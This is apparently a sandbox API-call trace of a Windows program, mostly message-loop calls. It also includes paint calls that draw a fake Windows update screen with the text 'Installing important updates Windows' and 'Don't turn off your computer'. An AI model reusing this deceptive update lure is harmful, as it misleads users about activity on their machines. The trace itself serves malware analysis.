0x0 [0060.052] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.098] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.098] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.098] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.098] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.098] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.098] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.098] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.099] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.145] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.145] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.145] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.145] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.145] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.145] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.145] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.146] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.192] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.192] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.192] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.192] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.192] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.192] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.192] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.193] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.238] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.238] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.238] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.239] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.239] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.239] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.239] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.240] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.286] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.286] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.286] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.286] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.286] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.286] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.286] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.287] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.333] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.333] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.333] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.333] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.333] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.333] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.333] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.334] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.379] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.379] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.379] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.379] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.379] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.379] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.379] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.380] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.435] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.435] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.435] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.435] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.435] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.435] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.435] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.436] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.472] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.473] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.473] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.473] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.473] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.473] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.473] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.474] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.519] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.519] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.519] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.519] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.519] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.519] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.519] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.520] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.566] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.566] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.566] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.566] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.566] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.566] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.566] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.567] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.613] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0060.613] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.613] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.613] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.493] TranslateAcceleratorW (hWnd=0x50124, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0062.493] TranslateMessage (lpMsg=0x18e548) returned 1 [0062.493] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.493] NtdllDefWindowProc_W () returned 0x0 [0062.493] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.496] NtdllDefWindowProc_W () returned 0x0 [0062.496] TranslateAcceleratorW (hWnd=0x6011c, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0062.497] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.497] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.497] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.497] NtdllDefWindowProc_W () returned 0x0 [0062.497] TranslateAcceleratorW (hWnd=0x6011c, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0062.497] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.497] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.497] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.498] NtdllDefWindowProc_W () returned 0x0 [0062.498] TranslateAcceleratorW (hWnd=0x6011c, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0062.498] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.498] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.498] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.502] NtdllDefWindowProc_W () returned 0x1 [0062.508] NtdllDefWindowProc_W () returned 0x0 [0062.508] NtdllDefWindowProc_W () returned 0x0 [0062.508] NtdllDefWindowProc_W () returned 0x0 [0062.508] NtdllDefWindowProc_W () returned 0x0 [0062.508] NtdllDefWindowProc_W () returned 0x0 [0062.508] TranslateAcceleratorW (hWnd=0x50124, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0062.508] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.508] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.508] BeginPaint (in: hWnd=0x50124, lpPaint=0x18e2e0 | out: lpPaint=0x18e2e0) returned 0x201086d [0062.509] NtdllDefWindowProc_W () returned 0x0 [0062.509] NtdllDefWindowProc_W () returned 0x1 [0062.510] EndPaint (hWnd=0x50124, lpPaint=0x18e2e0) returned 1 [0062.510] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.510] TranslateAcceleratorW (hWnd=0x6011c, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0062.510] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.510] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.510] BeginPaint (in: hWnd=0x6011c, lpPaint=0x18d9c8 | out: lpPaint=0x18d9c8) returned 0x301083d [0062.511] CreateSolidBrush (color=0x5b3ef) returned 0x52100273 [0062.511] FillRect (hDC=0x301083d, lprc=0x18d9b8, hbr=0x52100273) returned 1 [0062.511] DeleteObject (ho=0x52100273) returned 1 [0062.511] DrawIcon (hDC=0x301083d, X=7, Y=7, hIcon=0x501c1) returned 1 [0062.511] CreateFontW (cHeight=-19, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x210a0864 [0062.511] SelectObject (hdc=0x301083d, h=0x210a0864) returned 0x18a002e [0062.511] SetBkMode (hdc=0x301083d, mode=1) returned 2 [0062.511] lstrlenW (lpString="Installing important updates Windows.") returned 37 [0062.511] TextOutW (hdc=0x301083d, x=55, y=10, lpString="Installing important updates Windows.", c=37) returned 1 [0062.511] SelectObject (hdc=0x301083d, h=0x18a002e) returned 0x210a0864 [0062.511] CreateSolidBrush (color=0xffffff) returned 0x53100273 [0062.512] FillRect (hDC=0x301083d, lprc=0x18d9a8, hbr=0x53100273) returned 1 [0062.512] DeleteObject (ho=0x53100273) returned 1 [0062.512] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x100a0849 [0062.512] SelectObject (hdc=0x301083d, h=0x100a0849) returned 0x18a002e [0062.512] SetBkMode (hdc=0x301083d, mode=1) returned 1 [0062.512] lstrlenW (lpString="Getting your update ready.") returned 26 [0062.512] TextOutW (hdc=0x301083d, x=52, y=60, lpString="Getting your update ready.", c=26) returned 1 [0062.512] lstrlenW (lpString="Configuring update for Windows.") returned 31 [0062.512] TextOutW (hdc=0x301083d, x=52, y=77, lpString="Configuring update for Windows.", c=31) returned 1 [0062.512] lstrlenW (lpString="Don't turn off your computer or close it.") returned 41 [0062.512] TextOutW (hdc=0x301083d, x=52, y=94, lpString="Don't turn off your computer or close it.", c=41) returned 1 [0062.512] SelectObject (hdc=0x301083d, h=0x18a002e) returned 0x100a0849 [0062.513] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x70a086b [0062.513] SelectObject (hdc=0x301083d, h=0x70a086b) returned 0x18a002e [0062.513] SetBkMode (hdc=0x301083d, mode=1) returned 1 [0062.513] SetTextAlign (hdc=0x301083d, align=0x6) returned 0x0 [0062.513] wsprintfW (in: param_1=0x18da08, param_2="Percent complete: %i%%" | out: param_1="Percent complete: 4%") returned 20 [0062.513] lstrlenW (lpString="Percent complete: 4%") returned 20 [0062.513] TextOutW (hdc=0x301083d, x=209, y=111, lpString="Percent complete: 4%", c=20) returned 1 [0062.513] SelectObject (hdc=0x301083d, h=0x18a002e) returned 0x70a086b [0062.513] EndPaint (hWnd=0x6011c, lpPaint=0x18d9c8) returned 1 [0062.513] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.513] TranslateAcceleratorW (hWnd=0x301c2, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0062.513] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.514] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.518] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.518] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0062.518] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.518] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.519] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.594] TranslateAcceleratorW (hWnd=0x301be, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0062.594] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.594] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.594] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.703] NtdllDefWindowProc_W () returned 0x0 [0062.703] NtdllDefWindowProc_W () returned 0x0 [0062.705] NtdllDefWindowProc_W () returned 0x1 [0062.705] TranslateAcceleratorW (hWnd=0x50124, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0062.705] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.705] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.705] BeginPaint (in: hWnd=0x50124, lpPaint=0x18e2e0 | out: lpPaint=0x18e2e0) returned 0x14010256 [0062.705] EndPaint (hWnd=0x50124, lpPaint=0x18e2e0) returned 1 [0062.705] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.705] TranslateAcceleratorW (hWnd=0x6011c, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0062.705] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.705] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.705] BeginPaint (in: hWnd=0x6011c, lpPaint=0x18d9c8 | out: lpPaint=0x18d9c8) returned 0x201086d [0062.706] CreateSolidBrush (color=0x5b3ef) returned 0x54100273 [0062.706] FillRect (hDC=0x201086d, lprc=0x18d9b8, hbr=0x54100273) returned 1 [0062.706] DeleteObject (ho=0x54100273) returned 1 [0062.706] DrawIcon (hDC=0x201086d, X=7, Y=7, hIcon=0x501c1) returned 1 [0062.706] CreateFontW (cHeight=-19, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x1f0a086a [0062.706] SelectObject (hdc=0x201086d, h=0x1f0a086a) returned 0x18a002e [0062.706] SetBkMode (hdc=0x201086d, mode=1) returned 2 [0062.706] lstrlenW (lpString="Installing important updates Windows.") returned 37 [0062.706] TextOutW (hdc=0x201086d, x=55, y=10, lpString="Installing important updates Windows.", c=37) returned 1 [0062.706] SelectObject (hdc=0x201086d, h=0x18a002e) returned 0x1f0a086a [0062.706] CreateSolidBrush (color=0xffffff) returned 0x55100273 [0062.706] FillRect (hDC=0x201086d, lprc=0x18d9a8, hbr=0x55100273) returned 1 [0062.706] DeleteObject (ho=0x55100273) returned 1 [0062.706] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0xe0a083c [0062.707] SelectObject (hdc=0x201086d, h=0xe0a083c) returned 0x18a002e [0062.707] SetBkMode (hdc=0x201086d, mode=1) returned 1 [0062.707] lstrlenW (lpString="Getting your update ready.") returned 26 [0062.707] TextOutW (hdc=0x201086d, x=52, y=60, lpString="Getting your update ready.", c=26) returned 1 [0062.707] lstrlenW (lpString="Configuring update for Windows.") returned 31 [0062.707] TextOutW (hdc=0x201086d, x=52, y=77, lpString="Configuring update for Windows.", c=31) returned 1 [0062.707] lstrlenW (lpString="Don't turn off your computer or close it.") returned 41 [0062.707] TextOutW (hdc=0x201086d, x=52, y=94, lpString="Don't turn off your computer or close it.", c=41) returned 1 [0062.707] SelectObject (hdc=0x201086d, h=0x18a002e) returned 0xe0a083c [0062.707] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x390a083a [0062.707] SelectObject (hdc=0x201086d, h=0x390a083a) returned 0x18a002e [0062.707] SetBkMode (hdc=0x201086d, mode=1) returned 1 [0062.707] SetTextAlign (hdc=0x201086d, align=0x6) returned 0x0 [0062.708] wsprintfW (in: param_1=0x18da08, param_2="Percent complete: %i%%" | out: param_1="Percent complete: 4%") returned 20 [0062.708] lstrlenW (lpString="Percent complete: 4%") returned 20 [0062.708] TextOutW (hdc=0x201086d, x=209, y=111, lpString="Percent complete: 4%", c=20) returned 1 [0062.708] SelectObject (hdc=0x201086d, h=0x18a002e) returned 0x390a083a [0062.708] EndPaint (hWnd=0x6011c, lpPaint=0x18d9c8) returned 1 [0062.708] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.708] TranslateAcceleratorW (hWnd=0x301c2, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0062.708] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.708] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.709] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.709] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0062.709] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.709] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.710] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.871] TranslateAcceleratorW (hWnd=0x401c6, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0062.871] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.871] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.871] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.017] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.017] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.017] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.017] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.065] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.065] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.065] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.065] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.065] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.065] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.065] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.066] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.310] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.310] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.310] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.310] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.310] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.310] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.310] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.311] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.343] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.343] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.343] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.343] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.343] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.343] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.343] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.344] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.591] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.591] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.591] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.591] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.591] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.591] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.591] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.592] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.635] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.635] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.635] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.635] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.635] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.635] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.635] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.636] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.671] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.671] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.671] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.671] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.671] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.671] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.671] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.672] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.717] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.717] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.717] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.717] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.717] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.718] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.718] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.719] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.764] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.764] 